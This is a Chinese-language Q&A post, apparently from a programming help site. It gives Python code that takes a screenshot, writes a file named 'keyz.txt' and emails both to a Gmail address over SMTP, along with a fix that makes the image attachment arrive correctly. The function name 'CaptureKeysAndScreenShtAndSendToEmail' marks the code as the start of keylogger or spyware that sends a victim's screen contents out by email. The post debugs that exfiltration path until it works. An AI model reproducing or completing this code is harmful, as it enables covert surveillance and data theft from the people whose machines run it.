问题描述
我有这个担心。该python代码应该发送2个文件,一个是文本文件,另一个是屏幕截图。它可以将文本文件正确发送到我的电子邮件,但不会将与其关联的正确图像发送到我的电子邮件,而是将其作为缓冲图像发送,而不是正确图像发送到我的电子邮件。
我的代码看起来像这样
import os
import pyautogui
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
def CaptureKeysAndScreenShtAndSendToEmail():
pic= pyautogui.screenshot()
pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')
path = os.getenv('APPDATA')
file = path + "\\" + 'keyz.txt'
with open(file,'w') as f:
data = 'Hello Jasmine!'
f.write(data)
fromAddr = "xxxxxx@gmail.com"
ToAddr = "xxxxxx@gmail.com"
msg = MIMEMultipart()
msg['From'] = fromAddr
msg['To'] = ToAddr
msg['Subject'] = "Text File"
body = "Test mail _ Attachment"
msg.attach(MIMEText(body,'plain'))
filename = file
attachment = open(filename,"rb")
p = MIMEBase('application','octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-disposition',"attachment; filename= %s" % filename)
msg.attach(p)
picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
picattach = open(picturePath,"rb")
x = MIMEBase('application','octet-stream')
x.set_payload((picattach).read())
encoders.encode_base64(x)
x.add_header('Content-disposition',"attachment; filename= %s" % picattach)
msg.attach(x)
s = smtplib.SMTP('smtp.gmail.com',587)
s.starttls()
s.login(fromAddr,"ssssss")
text = msg.as_string()
s.sendmail(fromAddr,ToAddr,text)
s.quit()
print('Done')
CaptureKeysAndScreenShtAndSendToEmail()
我认为我无法正确捕获某些内容。
解决方法
A,我解决了。 它现在将电子邮件和图片附件发送到电子邮件。一切都很好。很少有修改改变了一切
import os
import pyautogui
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
def CaptureKeysAndScreenShtAndSendToEmail():
pic= pyautogui.screenshot()
pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')
path = os.getenv('APPDATA')
file = path + "\\" + 'keyz.txt'
with open(file,'w') as f:
data = 'Hello Jasmine!'
f.write(data)
fromAddr = "xxxxxx@gmail.com"
ToAddr = "xxxxxx@gmail.com"
msg = MIMEMultipart()
msg['From'] = fromAddr
msg['To'] = ToAddr
msg['Subject'] = "Text File"
body = "Test mail _ Attachment"
msg.attach(MIMEText(body,'plain'))
filename = file
attachment = open(filename,"rb")
p = MIMEBase('application','octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition',"attachment; filename= %s" % filename)
msg.attach(p)
picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
picattach = open(picturePath,"rb")
x = MIMEBase('image','png',filename='screenshot.png')
x.set_payload((picattach).read())
encoders.encode_base64(x)
x.add_header('Content-Disposition',"attachment; filename= %s" % picattach)
x.add_header('X-Attachment-Id','0')
x.add_header('Content-ID','<0>')
msg.attach(x)
s = smtplib.SMTP('smtp.gmail.com',587)
s.starttls()
s.login(fromAddr,"sssssss")
text = msg.as_string()
s.sendmail(fromAddr,ToAddr,text)
s.quit()
print('Done')
CaptureKeysAndScreenShtAndSendToEmail()
更改此
x = MIMEBase('image',filename='screenshot.png')
并添加一些其他标题,以此改变了一切。
标题
x.add_header('X-Attachment-Id','0')
x.add_header('Content-ID','<0>')